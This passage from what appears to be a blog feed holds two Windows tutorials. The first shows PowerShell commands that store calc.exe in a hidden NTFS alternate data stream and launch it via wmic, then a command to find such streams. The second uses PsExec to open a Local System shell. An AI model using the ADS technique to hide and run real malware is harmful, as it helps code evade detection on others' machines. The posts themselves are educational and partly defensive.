&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt; &lt;span class="nb"&gt;Get-Content&lt;/span&gt; &lt;span class="n"&gt;-path&lt;/span&gt; &lt;span class="p"&gt;.\&lt;/span&gt;&lt;span class="n"&gt;hello&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;txt&lt;/span&gt; &lt;span class="n"&gt;-stream&lt;/span&gt; &lt;span class="n"&gt;hidden&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;Hello&lt;/span&gt; &lt;span class="n"&gt;World&lt;/span&gt;&lt;span class="p"&gt;!&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="whats-so-interesting"&gt;What&amp;rsquo;s so interesting?&lt;/h2&gt;
&lt;p&gt;So what&amp;rsquo;s so interesting about the alternate data streams, being old and not very much used?&lt;/p&gt;
&lt;p&gt;Well, besides storing simple text strings, we can also store executable code in a stream. The fact that it doesn&amp;rsquo;t show in the file size, won&amp;rsquo;t change the hash, doesn&amp;rsquo;t come up in explorer / in the UI and that ADS can&amp;rsquo;t be disabled, makes it an ideal hiding place for malicious software (and it has indeed been used by malware in the past).&lt;/p&gt;
&lt;p&gt;Nowadays, AV software usually scans these alternate data streams too (just try it out).&lt;/p&gt;
&lt;h2 id="storing-an-executable-in-an-ads"&gt;Storing an executable in an ADS&lt;/h2&gt;
&lt;p&gt;Let&amp;rsquo;s see how it can be done by storing the calc.exe in an ADS called &lt;code&gt;exestream&lt;/code&gt; of our &lt;code&gt;hello.txt&lt;/code&gt;. We will use the &lt;code&gt;Set-Content&lt;/code&gt; Cmdlet and explicitly specify byte encoding and a readcount of 0, to read the file in one read operation. The &lt;code&gt;Get-Command&lt;/code&gt; is only used to not type out the path.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt; &lt;span class="nb"&gt;Set-Content&lt;/span&gt; &lt;span class="n"&gt;-path&lt;/span&gt; &lt;span class="p"&gt;.\&lt;/span&gt;&lt;span class="n"&gt;hello&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;txt&lt;/span&gt; &lt;span class="n"&gt;-value&lt;/span&gt; &lt;span class="vm"&gt;$&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;Get-Content&lt;/span&gt; &lt;span class="vm"&gt;$&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;Get-Command&lt;/span&gt; &lt;span class="n"&gt;calc&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;exe&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="py"&gt;Path&lt;/span&gt; &lt;span class="n"&gt;-readcount&lt;/span&gt; &lt;span class="mf"&gt;0&lt;/span&gt; &lt;span class="n"&gt;-encoding&lt;/span&gt; &lt;span class="n"&gt;byte&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="n"&gt;-encoding&lt;/span&gt; &lt;span class="n"&gt;byte&lt;/span&gt; &lt;span class="n"&gt;-stream&lt;/span&gt; &lt;span class="n"&gt;exestream&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="notice notice-info"&gt;
 If you have some known malware on your system and store it in an ADS, you will notice that it is detected nonetheless. Well, let&amp;rsquo;s hope so :-).
&lt;/div&gt;

&lt;h2 id="launching-the-hidden-code"&gt;Launching the hidden code&lt;/h2&gt;
&lt;p&gt;Now that we have a binary in our &lt;code&gt;exestream&lt;/code&gt;, we can launch it, e.g., via &lt;code&gt;wmic&lt;/code&gt; (Windows Management Instrumentation). I use &lt;code&gt;Resolve-Path&lt;/code&gt;, again, only not to type out the full path.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;wmic&lt;/span&gt; &lt;span class="k"&gt;process&lt;/span&gt; &lt;span class="n"&gt;call&lt;/span&gt; &lt;span class="n"&gt;create&lt;/span&gt; &lt;span class="vm"&gt;$&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;Resolve-Path&lt;/span&gt; &lt;span class="p"&gt;.\&lt;/span&gt;&lt;span class="n"&gt;hello&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;txt&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="n"&gt;exestream&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;If it works, you should see the calculator pop up.&lt;/p&gt;
&lt;h2 id="finding-alternate-data-streams"&gt;Finding alternate data streams&lt;/h2&gt;
&lt;p&gt;Now that we know what a data stream is and what we can do with it, let&amp;rsquo;s see how we can list all the files in and below a directory that actually have alternate data streams (and maybe check that everything is in order).&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt; &lt;span class="nb"&gt;Get-ChildItem&lt;/span&gt; &lt;span class="n"&gt;-recurse&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; &lt;span class="k"&gt;ForEach&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nb"&gt;Get-Item&lt;/span&gt; &lt;span class="nv"&gt;$_&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;FullName&lt;/span&gt; &lt;span class="n"&gt;-stream&lt;/span&gt; &lt;span class="p"&gt;*&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; &lt;span class="nb"&gt;Where &lt;/span&gt;&lt;span class="n"&gt;stream&lt;/span&gt; &lt;span class="o"&gt;-ne&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;:$DATA&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="notice notice-info"&gt;
 &lt;strong&gt;Note:&lt;/strong&gt; one of the more common ADS that you will find is &lt;code&gt;Zone.identifier&lt;/code&gt;. These are usually for files that were downloaded and might be used to indicate this fact to the user; see info &lt;a href="https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-fscc/6e3f7352-d11c-4d76-8c39-2516a9df36e8"&gt;at the Microsoft docs&lt;/a&gt;.
&lt;/div&gt;

&lt;p&gt;Have fun playing around with Alternate Data Streams!&lt;/p&gt;</description></item><item><title>Running a script in the Windows Local System account</title><link>https://davidhamann.de/2018/08/17/running-script-as-local-system-windows/</link><pubDate>Fri, 17 Aug 2018 00:00:00 +0000</pubDate><guid>https://davidhamann.de/2018/08/17/running-script-as-local-system-windows/</guid><description>&lt;p&gt;Today I needed to debug a scheduled script and test its behavior when run in the Windows Local System account instead of my regular domain user&amp;rsquo;s (this was on Windows Server 2016 but should work the same in (much) older versions).&lt;/p&gt;
&lt;p&gt;I did a bit of research and found a tool from the PsTools suite on &lt;a href="https://docs.microsoft.com/en-us/sysinternals/downloads/pstools"&gt;sysinternals&lt;/a&gt; called &lt;code&gt;PsExec&lt;/code&gt;. It is mainly for executing programs on remote machines and gives you the ability to launch interactive command prompts. Good stuff, even though we only need a tiny portion of its capabilities.&lt;/p&gt;
&lt;h2 id="lets-do-it"&gt;Let&amp;rsquo;s do it!&lt;/h2&gt;
&lt;p&gt;Let&amp;rsquo;s download the &lt;a href="https://download.sysinternals.com/files/PSTools.zip"&gt;tool&lt;/a&gt; (2.7 MB zip file, the whole PsTools suite), extract it and then open an &lt;strong&gt;elevated&lt;/strong&gt; cmd prompt.&lt;/p&gt;
&lt;p&gt;Navigating to the extraction location of the suite, we can now run:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;psexec -i -s cmd.exe&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;This will give us another cmd prompt, but this time in the context of the Local System. To verify, we run &lt;code&gt;whoami&lt;/code&gt; in this prompt and should now see &lt;code&gt;nt authority\system&lt;/code&gt;. ✊&lt;/p&gt;
&lt;h3 id="breaking-down-the-options"&gt;Breaking down the options&lt;/h3&gt;
&lt;p&gt;We don&amp;rsquo;t specify a remote (as in &lt;code&gt;psexec \\remote&lt;/code&gt;) as we want to run it locally. &lt;code&gt;-i&lt;/code&gt; will let us run the process (cmd) interactively, and &lt;code&gt;-s&lt;/code&gt; stands for the System account. If you like, you can add the &lt;code&gt;-d&lt;/code&gt; option to not wait for the process to terminate (without it, the process in the initial prompt will continue until you exit the &amp;ldquo;remote&amp;rdquo; one).&lt;/p&gt;
&lt;p&gt;To learn more about the options of &lt;code&gt;PsExec&lt;/code&gt;, check out this page in the Microsoft docs: &lt;a href="https://docs.microsoft.com/en-us/sysinternals/downloads/psexec"&gt;https://docs.microsoft.com/en-us/sysinternals/downloads/psexec&lt;/a&gt;.&lt;/p&gt;</description></item></channel></rss>